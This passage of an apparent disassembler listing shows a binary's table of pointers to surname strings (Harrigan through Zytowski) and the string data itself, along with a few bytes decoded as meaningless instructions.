offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6E1 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-53FFBD15h], bh jmp short loc_42E6F1 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E6B5: ; CODE XREF: ___:0042E6C8j jmp short loc_42E6F9 ; --------------------------------------------------------------------------- align 4 dd offset aTudge ; "Tudge" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E709 ; --------------------------------------------------------------------------- align 4 jo short loc_42E6B5 inc edx add [eax-15h], ch inc edx add [ebx+ebp*8+42h], bl add [ebx+ebp*8+42h], dl add [eax-15h], cl inc edx add [eax-15h], al inc edx add [eax], bh loc_42E6E1: ; CODE XREF: ___:0042E69Dj jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 sub bl, ch inc edx add [eax], ah jmp short loc_42E72D ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl loc_42E6F1: ; CODE XREF: ___:0042E6ADj jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 0 ; --------------------------------------------------------------------------- loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j jmp short loc_42E73D ; --------------------------------------------------------------------------- align 4 dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" db 0D8h ; --------------------------------------------------------------------------- loc_42E709: ; CODE XREF: ___:0042E6C5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" db 88h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:loc_42E6E1j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_42E72D: ; CODE XREF: ___:0042E6E9j jmp far ptr 42h:0EA680042h ; --------------------------------------------------------------------------- pop esp loc_42E735: ; CODE XREF: ___:loc_42E6F1j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_42E73D: ; CODE XREF: ___:loc_42E6F9j jmp far ptr 42h:0EA380042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co aYu db 'Yu',0 ; DATA XREF: ___:0042E808o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o aViens db 'Viens',0 ; DATA XREF: ___:0042E784o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co aViano db 'Viano',0 ; DATA XREF: ___:0042E778o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E774o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E768o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042E750o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o align 10h aWelles db 